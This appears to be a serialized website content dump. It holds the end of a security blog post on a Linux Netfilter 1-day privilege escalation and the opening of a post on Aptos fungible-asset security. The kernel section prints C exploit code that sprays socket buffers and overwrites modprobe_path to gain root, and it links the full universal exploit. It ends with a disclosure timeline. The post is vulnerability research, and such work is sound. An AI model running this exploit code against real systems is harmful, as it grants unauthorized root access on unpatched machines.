i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[60485],{"type":21,"tag":66,"props":60486,"children":60487},{"__ignoreMap":7},[60488,60495,60517,60525,60532,60540,60548,60556,60564,60571,60579,60586,60624,60635,60642,60649,60656,60683,60714,60721,60743,60756,60763,60821,60828,60856,60863,60870,60891,60898,60919,60930,60937,60944,60965,60972,61000,61013,61020,61027,61076,61083,61151,61158,61179,61199,61206,61213,61220,61240],{"type":21,"tag":85,"props":60489,"children":60490},{"class":87,"line":88},[60491],{"type":21,"tag":85,"props":60492,"children":60493},{"style":114},[60494],{"type":26,"value":10733},{"type":21,"tag":85,"props":60496,"children":60497},{"class":87,"line":98},[60498,60503,60508,60513],{"type":21,"tag":85,"props":60499,"children":60500},{"style":114},[60501],{"type":26,"value":60502},"    puts(\"[*] ",{"type":21,"tag":85,"props":60504,"children":60505},{"style":108},[60506],{"type":26,"value":60507},"overwrite",{"type":21,"tag":85,"props":60509,"children":60510},{"style":108},[60511],{"type":26,"value":60512}," modprobe_path",{"type":21,"tag":85,"props":60514,"children":60515},{"style":5026},[60516],{"type":26,"value":56748},{"type":21,"tag":85,"props":60518,"children":60519},{"class":87,"line":151},[60520],{"type":21,"tag":85,"props":60521,"children":60522},{"style":5026},[60523],{"type":26,"value":60524},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":21,"tag":85,"props":60526,"children":60527},{"class":87,"line":160},[60528],{"type":21,"tag":85,"props":60529,"children":60530},{"style":5026},[60531],{"type":26,"value":29630},{"type":21,"tag":85,"props":60533,"children":60534},{"class":87,"line":185},[60535],{"type":21,"tag":85,"props":60536,"children":60537},{"style":5026},[60538],{"type":26,"value":60539},"        pipebuf->page = modprobe_page;\n",{"type":21,"tag":85,"props":60541,"children":60542},{"class":87,"line":501},[60543],{"type":21,"tag":85,"props":60544,"children":60545},{"style":5026},[60546],{"type":26,"value":60547},"        pipebuf->offset = modprobe_off;\n",{"type":21,"tag":85,"props":60549,"children":60550},{"class":87,"line":697},[60551],{"type":21,"tag":85,"props":60552,"children":60553},{"style":5026},[60554],{"type":26,"value":60555},"        pipebuf->len = 0;\n",{"type":21,"tag":85,"props":60557,"children":60558},{"class":87,"line":706},[60559],{"type":21,"tag":85,"props":60560,"children":60561},{"style":5026},[60562],{"type":26,"value":60563},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":21,"tag":85,"props":60565,"children":60566},{"class":87,"line":1100},[60567],{"type":21,"tag":85,"props":60568,"children":60569},{"style":5026},[60570],{"type":26,"value":32104},{"type":21,"tag":85,"props":60572,"children":60573},{"class":87,"line":1339},[60574],{"type":21,"tag":85,"props":60575,"children":60576},{"style":5026},[60577],{"type":26,"value":60578},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":21,"tag":85,"props":60580,"children":60581},{"class":87,"line":1348},[60582],{"type":21,"tag":85,"props":60583,"children":60584},{"style":5026},[60585],{"type":26,"value":32140},{"type":21,"tag":85,"props":60587,"children":60588},{"class":87,"line":1386},[60589,60594,60598,60602,60606,60611,60615,60619],{"type":21,"tag":85,"props":60590,"children":60591},{"style":5026},[60592],{"type":26,"value":60593},"                perror(\"",{"type":21,"tag":85,"props":60595,"children":60596},{"style":114},[60597],{"type":26,"value":3016},{"type":21,"tag":85,"props":60599,"children":60600},{"style":169},[60601],{"type":26,"value":5097},{"type":21,"tag":85,"props":60603,"children":60604},{"style":114},[60605],{"type":26,"value":3026},{"type":21,"tag":85,"props":60607,"children":60608},{"style":108},[60609],{"type":26,"value":60610},"write",{"type":21,"tag":85,"props":60612,"children":60613},{"style":114},[60614],{"type":26,"value":1439},{"type":21,"tag":85,"props":60616,"children":60617},{"style":108},[60618],{"type":26,"value":42388},{"type":21,"tag":85,"props":60620,"children":60621},{"style":114},[60622],{"type":26,"value":60623},")\");\n",{"type":21,"tag":85,"props":60625,"children":60626},{"class":87,"line":1394},[60627,60631],{"type":21,"tag":85,"props":60628,"children":60629},{"style":2885},[60630],{"type":26,"value":59417},{"type":21,"tag":85,"props":60632,"children":60633},{"style":114},[60634],{"type":26,"value":2535},{"type":21,"tag":85,"props":60636,"children":60637},{"class":87,"line":1402},[60638],{"type":21,"tag":85,"props":60639,"children":60640},{"style":114},[60641],{"type":26,"value":59342},{"type":21,"tag":85,"props":60643,"children":60644},{"class":87,"line":3145},[60645],{"type":21,"tag":85,"props":60646,"children":60647},{"style":114},[60648],{"type":26,"value":4118},{"type":21,"tag":85,"props":60650,"children":60651},{"class":87,"line":3246},[60652],{"type":21,"tag":85,"props":60653,"children":60654},{"emptyLinePlaceholder":16},[60655],{"type":26,"value":703},{"type":21,"tag":85,"props":60657,"children":60658},{"class":87,"line":3255},[60659,60663,60667,60671,60675,60679],{"type":21,"tag":85,"props":60660,"children":60661},{"style":1021},[60662],{"type":26,"value":55073},{"type":21,"tag":85,"props":60664,"children":60665},{"style":114},[60666],{"type":26,"value":1439},{"type":21,"tag":85,"props":60668,"children":60669},{"style":169},[60670],{"type":26,"value":2238},{"type":21,"tag":85,"props":60672,"children":60673},{"style":114},[60674],{"type":26,"value":59228},{"type":21,"tag":85,"props":60676,"children":60677},{"style":2285},[60678],{"type":26,"value":4789},{"type":21,"tag":85,"props":60680,"children":60681},{"style":114},[60682],{"type":26,"value":59237},{"type":21,"tag":85,"props":60684,"children":60685},{"class":87,"line":3286},[60686,60690,60695,60699,60704,60709],{"type":21,"tag":85,"props":60687,"children":60688},{"style":1021},[60689],{"type":26,"value":55774},{"type":21,"tag":85,"props":60691,"children":60692},{"style":114},[60693],{"type":26,"value":60694},"(fd_path, ",{"type":21,"tag":85,"props":60696,"children":60697},{"style":102},[60698],{"type":26,"value":55784},{"type":21,"tag":85,"props":60700,"children":60701},{"style":114},[60702],{"type":26,"value":60703},"(fd_path), ",{"type":21,"tag":85,"props":60705,"children":60706},{"style":5026},[60707],{"type":26,"value":60708},"\"/proc/%i/fd/%i\"",{"type":21,"tag":85,"props":60710,"children":60711},{"style":114},[60712],{"type":26,"value":60713},", i, modprobe_fd);\n",{"type":21,"tag":85,"props":60715,"children":60716},{"class":87,"line":3295},[60717],{"type":21,"tag":85,"props":60718,"children":60719},{"emptyLinePlaceholder":16},[60720],{"type":26,"value":703},{"type":21,"tag":85,"props":60722,"children":60723},{"class":87,"line":3308},[60724,60729,60734,60738],{"type":21,"tag":85,"props":60725,"children":60726},{"style":1021},[60727],{"type":26,"value":60728},"        lseek",{"type":21,"tag":85,"props":60730,"children":60731},{"style":114},[60732],{"type":26,"value":60733},"(modprobe_fd, ",{"type":21,"tag":85,"props":60735,"children":60736},{"style":2285},[60737],{"type":26,"value":4789},{"type":21,"tag":85,"props":60739,"children":60740},{"style":114},[60741],{"type":26,"value":60742},", SEEK_SET);\n",{"type":21,"tag":85,"props":60744,"children":60745},{"class":87,"line":3333},[60746,60751],{"type":21,"tag":85,"props":60747,"children":60748},{"style":1021},[60749],{"type":26,"value":60750},"        dprintf",{"type":21,"tag":85,"props":60752,"children":60753},{"style":114},[60754],{"type":26,"value":60755},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":21,"tag":85,"props":60757,"children":60758},{"class":87,"line":3369},[60759],{"type":21,"tag":85,"props":60760,"children":60761},{"emptyLinePlaceholder":16},[60762],{"type":26,"value":703},{"type":21,"tag":85,"props":60764,"children":60765},{"class":87,"line":3377},[60766,60770,60774,60778,60782,60786,60791,60795,60800,60805,60809,60813,60817],{"type":21,"tag":85,"props":60767,"children":60768},{"style":2885},[60769],{"type":26,"value":4044},{"type":21,"tag":85,"props":60771,"children":60772},{"style":114},[60773],{"type":26,"value":717},{"type":21,"tag":85,"props":60775,"children":60776},{"style":1021},[60777],{"type":26,"value":60610},{"type":21,"tag":85,"props":60779,"children":60780},{"style":114},[60781],{"type":26,"value":1439},{"type":21,"tag":85,"props":60783,"children":60784},{"style":120},[60785],{"type":26,"value":59281},{"type":21,"tag":85,"props":60787,"children":60788},{"style":114},[60789],{"type":26,"value":60790},"[pipe_idx][",{"type":21,"tag":85,"props":60792,"children":60793},{"style":2285},[60794],{"type":26,"value":4779},{"type":21,"tag":85,"props":60796,"children":60797},{"style":114},[60798],{"type":26,"value":60799},"], fd_path, ",{"type":21,"tag":85,"props":60801,"children":60802},{"style":2285},[60803],{"type":26,"value":60804},"32",{"type":21,"tag":85,"props":60806,"children":60807},{"style":114},[60808],{"type":26,"value":736},{"type":21,"tag":85,"props":60810,"children":60811},{"style":169},[60812],{"type":26,"value":117},{"type":21,"tag":85,"props":60814,"children":60815},{"style":2285},[60816],{"type":26,"value":2830},{"type":21,"tag":85,"props":60818,"children":60819},{"style":114},[60820],{"type":26,"value":2485},{"type":21,"tag":85,"props":60822,"children":60823},{"class":87,"line":3386},[60824],{"type":21,"tag":85,"props":60825,"children":60826},{"style":114},[60827],{"type":26,"value":32104},{"type":21,"tag":85,"props":60829,"children":60830},{"class":87,"line":3394},[60831,60835,60839,60843,60847,60852],{"type":21,"tag":85,"props":60832,"children":60833},{"style":1021},[60834],{"type":26,"value":58354},{"type":21,"tag":85,"props":60836,"children":60837},{"style":114},[60838],{"type":26,"value":1439},{"type":21,"tag":85,"props":60840,"children":60841},{"style":5026},[60842],{"type":26,"value":20487},{"type":21,"tag":85,"props":60844,"children":60845},{"style":48828},[60846],{"type":26,"value":48831},{"type":21,"tag":85,"props":60848,"children":60849},{"style":5026},[60850],{"type":26,"value":60851},"[-] write(pipe)\"",{"type":21,"tag":85,"props":60853,"children":60854},{"style":114},[60855],{"type":26,"value":777},{"type":21,"tag":85,"props":60857,"children":60858},{"class":87,"line":3410},[60859],{"type":21,"tag":85,"props":60860,"children":60861},{"style":114},[60862],{"type":26,"value":4118},{"type":21,"tag":85,"props":60864,"children":60865},{"class":87,"line":3427},[60866],{"type":21,"tag":85,"props":60867,"children":60868},{"emptyLinePlaceholder":16},[60869],{"type":26,"value":703},{"type":21,"tag":85,"props":60871,"children":60872},{"class":87,"line":3445},[60873,60877,60881,60886],{"type":21,"tag":85,"props":60874,"children":60875},{"style":2885},[60876],{"type":26,"value":4044},{"type":21,"tag":85,"props":60878,"children":60879},{"style":114},[60880],{"type":26,"value":717},{"type":21,"tag":85,"props":60882,"children":60883},{"style":1021},[60884],{"type":26,"value":60885},"check_modprobe",{"type":21,"tag":85,"props":60887,"children":60888},{"style":114},[60889],{"type":26,"value":60890},"(fd_path))\n",{"type":21,"tag":85,"props":60892,"children":60893},{"class":87,"line":3490},[60894],{"type":21,"tag":85,"props":60895,"children":60896},{"style":114},[60897],{"type":26,"value":32104},{"type":21,"tag":85,"props":60899,"children":60900},{"class":87,"line":3596},[60901,60906,60910,60915],{"type":21,"tag":85,"props":60902,"children":60903},{"style":1021},[60904],{"type":26,"value":60905},"            puts",{"type":21,"tag":85,"props":60907,"children":60908},{"style":114},[60909],{"type":26,"value":1439},{"type":21,"tag":85,"props":60911,"children":60912},{"style":5026},[60913],{"type":26,"value":60914},"\"[-] failed to overwrite modprobe\"",{"type":21,"tag":85,"props":60916,"children":60917},{"style":114},[60918],{"type":26,"value":777},{"type":21,"tag":85,"props":60920,"children":60921},{"class":87,"line":23938},[60922,60926],{"type":21,"tag":85,"props":60923,"children":60924},{"style":2885},[60925],{"type":26,"value":4069},{"type":21,"tag":85,"props":60927,"children":60928},{"style":114},[60929],{"type":26,"value":2535},{"type":21,"tag":85,"props":60931,"children":60932},{"class":87,"line":23973},[60933],{"type":21,"tag":85,"props":60934,"children":60935},{"style":114},[60936],{"type":26,"value":4118},{"type":21,"tag":85,"props":60938,"children":60939},{"class":87,"line":23981},[60940],{"type":21,"tag":85,"props":60941,"children":60942},{"emptyLinePlaceholder":16},[60943],{"type":26,"value":703},{"type":21,"tag":85,"props":60945,"children":60946},{"class":87,"line":23989},[60947,60951,60955,60960],{"type":21,"tag":85,"props":60948,"children":60949},{"style":2885},[60950],{"type":26,"value":4044},{"type":21,"tag":85,"props":60952,"children":60953},{"style":114},[60954],{"type":26,"value":717},{"type":21,"tag":85,"props":60956,"children":60957},{"style":1021},[60958],{"type":26,"value":60959},"trigger_modprobe",{"type":21,"tag":85,"props":60961,"children":60962},{"style":114},[60963],{"type":26,"value":60964},"(status_fd))\n",{"type":21,"tag":85,"props":60966,"children":60967},{"class":87,"line":23998},[60968],{"type":21,"tag":85,"props":60969,"children":60970},{"style":114},[60971],{"type":26,"value":32104},{"type":21,"tag":85,"props":60973,"children":60974},{"class":87,"line":24040},[60975,60979,60983,60987,60991,60996],{"type":21,"tag":85,"props":60976,"children":60977},{"style":1021},[60978],{"type":26,"value":60905},{"type":21,"tag":85,"props":60980,"children":60981},{"style":114},[60982],{"type":26,"value":1439},{"type":21,"tag":85,"props":60984,"children":60985},{"style":5026},[60986],{"type":26,"value":20487},{"type":21,"tag":85,"props":60988,"children":60989},{"style":48828},[60990],{"type":26,"value":48831},{"type":21,"tag":85,"props":60992,"children":60993},{"style":5026},[60994],{"type":26,"value":60995},"[+] got root\"",{"type":21,"tag":85,"props":60997,"children":60998},{"style":114},[60999],{"type":26,"value":777},{"type":21,"tag":85,"props":61001,"children":61002},{"class":87,"line":24073},[61003,61008],{"type":21,"tag":85,"props":61004,"children":61005},{"style":2885},[61006],{"type":26,"value":61007},"            goto",{"type":21,"tag":85,"props":61009,"children":61010},{"style":114},[61011],{"type":26,"value":61012}," out;\n",{"type":21,"tag":85,"props":61014,"children":61015},{"class":87,"line":24081},[61016],{"type":21,"tag":85,"props":61017,"children":61018},{"style":114},[61019],{"type":26,"value":4118},{"type":21,"tag":85,"props":61021,"children":61022},{"class":87,"line":24089},[61023],{"type":21,"tag":85,"props":61024,"children":61025},{"emptyLinePlaceholder":16},[61026],{"type":26,"value":703},{"type":21,"tag":85,"props":61028,"children":61029},{"class":87,"line":24098},[61030,61035,61039,61043,61047,61051,61055,61059,61063,61068,61072],{"type":21,"tag":85,"props":61031,"children":61032},{"style":2885},[61033],{"type":26,"value":61034},"        for",{"type":21,"tag":85,"props":61036,"children":61037},{"style":114},[61038],{"type":26,"value":717},{"type":21,"tag":85,"props":61040,"children":61041},{"style":102},[61042],{"type":26,"value":19473},{"type":21,"tag":85,"props":61044,"children":61045},{"style":114},[61046],{"type":26,"value":55000},{"type":21,"tag":85,"props":61048,"children":61049},{"style":169},[61050],{"type":26,"value":741},{"type":21,"tag":85,"props":61052,"children":61053},{"style":2285},[61054],{"type":26,"value":2830},{"type":21,"tag":85,"props":61056,"children":61057},{"style":114},[61058],{"type":26,"value":51689},{"type":21,"tag":85,"props":61060,"children":61061},{"style":169},[61062],{"type":26,"value":117},{"type":21,"tag":85,"props":61064,"children":61065},{"style":114},[61066],{"type":26,"value":61067}," SKBUF_SPRAY; i",{"type":21,"tag":85,"props":61069,"children":61070},{"style":169},[61071],{"type":26,"value":51725},{"type":21,"tag":85,"props":61073,"children":61074},{"style":114},[61075],{"type":26,"value":2485},{"type":21,"tag":85,"props":61077,"children":61078},{"class":87,"line":24174},[61079],{"type":21,"tag":85,"props":61080,"children":61081},{"style":114},[61082],{"type":26,"value":32104},{"type":21,"tag":85,"props":61084,"children":61085},{"class":87,"line":24207},[61086,61090,61094,61099,61103,61108,61113,61117,61122,61126,61130,61135,61139,61143,61147],{"type":21,"tag":85,"props":61087,"children":61088},{"style":2885},[61089],{"type":26,"value":59258},{"type":21,"tag":85,"props":61091,"children":61092},{"style":114},[61093],{"type":26,"value":717},{"type":21,"tag":85,"props":61095,"children":61096},{"style":1021},[61097],{"type":26,"value":61098},"read",{"type":21,"tag":85,"props":61100,"children":61101},{"style":114},[61102],{"type":26,"value":1439},{"type":21,"tag":85,"props":61104,"children":61105},{"style":120},[61106],{"type":26,"value":61107},"sock",{"type":21,"tag":85,"props":61109,"children":61110},{"style":114},[61111],{"type":26,"value":61112},"[i][",{"type":21,"tag":85,"props":61114,"children":61115},{"style":2285},[61116],{"type":26,"value":4779},{"type":21,"tag":85,"props":61118,"children":61119},{"style":114},[61120],{"type":26,"value":61121},"], leak, ",{"type":21,"tag":85,"props":61123,"children":61124},{"style":2285},[61125],{"type":26,"value":58605},{"type":21,"tag":85,"props":61127,"children":61128},{"style":169},[61129],{"type":26,"value":51711},{"type":21,"tag":85,"props":61131,"children":61132},{"style":2285},[61133],{"type":26,"value":61134}," 320",{"type":21,"tag":85,"props":61136,"children":61137},{"style":114},[61138],{"type":26,"value":736},{"type":21,"tag":85,"props":61140,"children":61141},{"style":169},[61142],{"type":26,"value":117},{"type":21,"tag":85,"props":61144,"children":61145},{"style":2285},[61146],{"type":26,"value":2830},{"type":21,"tag":85,"props":61148,"children":61149},{"style":114},[61150],{"type":26,"value":2485},{"type":21,"tag":85,"props":61152,"children":61153},{"class":87,"line":24215},[61154],{"type":21,"tag":85,"props":61155,"children":61156},{"style":114},[61157],{"type":26,"value":32140},{"type":21,"tag":85,"props":61159,"children":61160},{"class":87,"line":24223},[61161,61166,61170,61175],{"type":21,"tag":85,"props":61162,"children":61163},{"style":1021},[61164],{"type":26,"value":61165},"                perror",{"type":21,"tag":85,"props":61167,"children":61168},{"style":114},[61169],{"type":26,"value":1439},{"type":21,"tag":85,"props":61171,"children":61172},{"style":5026},[61173],{"type":26,"value":61174},"\"[-] read(socket)\"",{"type":21,"tag":85,"props":61176,"children":61177},{"style":114},[61178],{"type":26,"value":777},{"type":21,"tag":85,"props":61180,"children":61181},{"class":87,"line":24260},[61182,61187,61191,61195],{"type":21,"tag":85,"props":61183,"children":61184},{"style":2885},[61185],{"type":26,"value":61186},"                return",{"type":21,"tag":85,"props":61188,"children":61189},{"style":169},[61190],{"type":26,"value":51711},{"type":21,"tag":85,"props":61192,"children":61193},{"style":2285},[61194],{"type":26,"value":4779},{"type":21,"tag":85,"props":61196,"children":61197},{"style":114},[61198],{"type":26,"value":2535},{"type":21,"tag":85,"props":61200,"children":61201},{"class":87,"line":24273},[61202],{"type":21,"tag":85,"props":61203,"children":61204},{"style":114},[61205],{"type":26,"value":59342},{"type":21,"tag":85,"props":61207,"children":61208},{"class":87,"line":24286},[61209],{"type":21,"tag":85,"props":61210,"children":61211},{"style":114},[61212],{"type":26,"value":4118},{"type":21,"tag":85,"props":61214,"children":61215},{"class":87,"line":24299},[61216],{"type":21,"tag":85,"props":61217,"children":61218},{"style":114},[61219],{"type":26,"value":507},{"type":21,"tag":85,"props":61221,"children":61222},{"class":87,"line":24353},[61223,61227,61231,61236],{"type":21,"tag":85,"props":61224,"children":61225},{"style":1021},[61226],{"type":26,"value":55963},{"type":21,"tag":85,"props":61228,"children":61229},{"style":114},[61230],{"type":26,"value":1439},{"type":21,"tag":85,"props":61232,"children":61233},{"style":5026},[61234],{"type":26,"value":61235},"\"[-] fake modprobe failed\"",{"type":21,"tag":85,"props":61237,"children":61238},{"style":114},[61239],{"type":26,"value":777},{"type":21,"tag":85,"props":61241,"children":61242},{"class":87,"line":24362},[61243],{"type":21,"tag":85,"props":61244,"children":61245},{"style":114},[61246],{"type":26,"value":10733},{"type":21,"tag":22,"props":61248,"children":61249},{},[61250,61252,61259],{"type":26,"value":61251},"This trick has already been throughly detailed by ",{"type":21,"tag":335,"props":61253,"children":61256},{"href":61254,"rel":61255},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[339],[61257],{"type":26,"value":61258},"lau",{"type":26,"value":61260},", so we won't go much more into it.",{"type":21,"tag":10022,"props":61262,"children":61264},{"id":61263},"universal-exploit-demo",[61265],{"type":26,"value":61266},"Universal exploit demo",{"type":21,"tag":22,"props":61268,"children":61269},{},[61270,61272,61278],{"type":26,"value":61271},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":21,"tag":335,"props":61273,"children":61276},{"href":61274,"rel":61275},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[339],[61277],{"type":26,"value":57872},{"type":26,"value":73},{"type":21,"tag":54,"props":61280,"children":61282},{"id":61281},"disclosure-timeline",[61283],{"type":26,"value":61284},"Disclosure Timeline",{"type":21,"tag":17108,"props":61286,"children":61287},{},[61288,61293,61298,61303,61308],{"type":21,"tag":845,"props":61289,"children":61290},{},[61291],{"type":26,"value":61292},"March 21st -- Patch made public",{"type":21,"tag":845,"props":61294,"children":61295},{},[61296],{"type":26,"value":61297},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":21,"tag":845,"props":61299,"children":61300},{},[61301],{"type":26,"value":61302},"March 24th -- Wrote KernelCTF exploit",{"type":21,"tag":845,"props":61304,"children":61305},{},[61306],{"type":26,"value":61307},"March 26th -- Wrote Universal exploit",{"type":21,"tag":845,"props":61309,"children":61310},{},[61311],{"type":26,"value":61312},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":21,"tag":22,"props":61314,"children":61315},{},[61316],{"type":26,"value":61317},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":21,"tag":54,"props":61319,"children":61320},{"id":29375},[61321],{"type":26,"value":19373},{"type":21,"tag":22,"props":61323,"children":61324},{},[61325],{"type":26,"value":61326},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":21,"tag":22,"props":61328,"children":61329},{},[61330],{"type":26,"value":61331},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":21,"tag":3632,"props":61333,"children":61334},{},[61335],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":61337},[61338,61341,61344,61347,61348,61358,61366,61367],{"id":51023,"depth":98,"text":51026,"children":61339},[61340],{"id":51044,"depth":151,"text":51047},{"id":51087,"depth":98,"text":51087,"children":61342},[61343],{"id":51134,"depth":151,"text":51137},{"id":51192,"depth":98,"text":51195,"children":61345},[61346],{"id":52355,"depth":151,"text":52358},{"id":54230,"depth":98,"text":54233},{"id":54632,"depth":98,"text":54635,"children":61349},[61350,61351,61352,61354,61355,61356,61357],{"id":54659,"depth":151,"text":54662},{"id":55541,"depth":151,"text":55544},{"id":56127,"depth":151,"text":61353},"Leaking self pointer of nft_object",{"id":56525,"depth":151,"text":56528},{"id":57039,"depth":151,"text":57042},{"id":57169,"depth":151,"text":56826},{"id":57853,"depth":151,"text":57856},{"id":57876,"depth":98,"text":57879,"children":61359},[61360,61361,61362,61363,61365],{"id":57887,"depth":151,"text":57890},{"id":58745,"depth":151,"text":58748},{"id":58821,"depth":151,"text":58824},{"id":60446,"depth":151,"text":61364},"Overwriting modprobe_path",{"id":61263,"depth":151,"text":61266},{"id":61281,"depth":98,"text":61284},{"id":29375,"depth":98,"text":19373},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":61372,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":61373,"description":61374,"image":61375,"date":61377,"isFeatured":16,"onBlogPage":16,"tags":61378,"body":61379,"_type":3642,"_id":68097,"_source":3644,"_file":68098,"_stem":68099,"_extension":3647},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":61376,"width":6152,"height":6153},"/posts/aptos-guide/title.png","2025-02-10",[199],{"type":18,"children":61380,"toc":68081},[61381,61394,61399,61408,61414,61442,61515,61555,61589,61750,61769,61850,61890,61918,61935,61940,61948,61953,61959,61980,62060,62093,62101,62114,62119,62503,62508,62513,62519,62524,62536,62640,62678,62681,62699,63007,63012,63024,63030,63056,63077,63082,63261,63281,63287,63307,63319,63324,63330,63342,63405,63432,63456,63677,63680,63699,63809,63866,64002,64029,64035,64061,64305,64333,64635,64668,64682,64708,64741,65048,65060,65337,65351,65668,65687,65693,65725,65765,65866,65886,66006,66023,66097,66109,66197,66218,66224,66229,66234,66251,66272,66643,66702,66707,67158,67163,67199,67205,67217,67239,67265,67472,67486,67741,67753,67780,67931,67950,67980,67984,67995,68000,68013,68077],{"type":21,"tag":22,"props":61382,"children":61383},{},[61384,61386,61392],{"type":26,"value":61385},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":21,"tag":66,"props":61387,"children":61389},{"className":61388},[],[61390],{"type":26,"value":61391},"coin",{"type":26,"value":61393}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":21,"tag":22,"props":61395,"children":61396},{},[61397],{"type":26,"value":61398},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":21,"tag":61400,"props":61401,"children":61402},"important",{},[61403],{"type":21,"tag":22,"props":61404,"children":61405},{},[61406],{"type":26,"value":61407},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":21,"tag":54,"props":61409,"children":61411},{"id":61410},"aptos-coin-standard",[61412],{"type":26,"value":61413},"Aptos Coin standard",{"type":21,"tag":22,"props":61415,"children":61416},{},[61417,61419,61425,61427,61432,61433,61440],{"type":26,"value":61418},"In the beginning, Aptos used ",{"type":21,"tag":66,"props":61420,"children":61422},{"className":61421},[],[61423],{"type":26,"value":61424},"Coin",{"type":26,"value":61426},". It is still in use, although it is now considered \"legacy\". ",{"type":21,"tag":66,"props":61428,"children":61430},{"className":61429},[],[61431],{"type":26,"value":61424},{"type":26,"value":6268},{"type":21,"tag":335,"props":61434,"children":61437},{"href":61435,"rel":61436},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[339],[61438],{"type":26,"value":61439},"defined",{"type":26,"value":61441}," in Aptos as follows:",{"type":21,"tag":75,"props":61443,"children":61445},{"className":77,"code":61444,"language":79,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[61446],{"type":21,"tag":66,"props":61447,"children":61448},{"__ignoreMap":7},[61449,61488,61508],{"type":21,"tag":85,"props":61450,"children":61451},{"class":87,"line":88},[61452,61456,61460,61464,61468,61472,61476,61480,61484],{"type":21,"tag":85,"props":61453,"children":61454},{"style":102},[61455],{"type":26,"value":9814},{"type":21,"tag":85,"props":61457,"children":61458},{"style":108},[61459],{"type":26,"value":111},{"type":21,"tag":85,"props":61461,"children":61462},{"style":114},[61463],{"type":26,"value":117},{"type":21,"tag":85,"props":61465,"children":61466},{"style":120},[61467],{"type":26,"value":123},{"type":21,"tag":85,"props":61469,"children":61470},{"style":108},[61471],{"type":26,"value":128},{"type":21,"tag":85,"props":61473,"children":61474},{"style":114},[61475],{"type":26,"value":133},{"type":21,"tag":85,"props":61477,"children":61478},{"style":120},[61479],{"type":26,"value":138},{"type":21,"tag":85,"props":61481,"children":61482},{"style":120},[61483],{"type":26,"value":143},{"type":21,"tag":85,"props":61485,"children":61486},{"style":114},[61487],{"type":26,"value":148},{"type":21,"tag":85,"props":61489,"children":61490},{"class":87,"line":98},[61491,61496,61500,61504],{"type":21,"tag":85,"props":61492,"children":61493},{"style":120},[61494],{"type":26,"value":61495},"    value",{"type":21,"tag":85,"props":61497,"children":61498},{"style":169},[61499],{"type":26,"value":172},{"type":21,"tag":85,"props":61501,"children":61502},{"style":108},[61503],{"type":26,"value":177},{"type":21,"tag":85,"props":61505,"children":61506},{"style":114},[61507],{"type":26,"value":182},{"type":21,"tag":85,"props":61509,"children":61510},{"class":87,"line":151},[61511],{"type":21,"tag":85,"props":61512,"children":61513},{"style":114},[61514],{"type":26,"value":2671},{"type":21,"tag":22,"props":61516,"children":61517},{},[61518,61520,61525,61527,61533,61534,61540,61542,61547,61549,61554],{"type":26,"value":61519},"Aptos distinguishes coins by their type (",{"type":21,"tag":66,"props":61521,"children":61523},{"className":61522},[],[61524],{"type":26,"value":919},{"type":26,"value":61526},") at compile time. For example, 